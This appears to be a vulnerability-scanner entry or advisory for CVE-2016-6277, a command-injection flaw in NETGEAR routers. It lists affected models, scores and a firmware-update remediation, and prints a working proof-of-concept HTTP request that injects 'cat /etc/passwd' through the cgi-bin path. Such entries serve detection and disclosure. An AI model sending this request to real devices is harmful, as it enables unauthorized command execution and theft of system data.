| Title | NETGEAR Routers - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to unauthorized access, data theft, or network compromise. |
| Remediation | Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.93986 |
| CVE ID | CVE-2016-6277 |
| CWE ID | CWE-352 |
| Tags | cve2016 cve netgear rce iot kev vkev vuln |
NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.
GET /cgi-bin/;cat$IFS/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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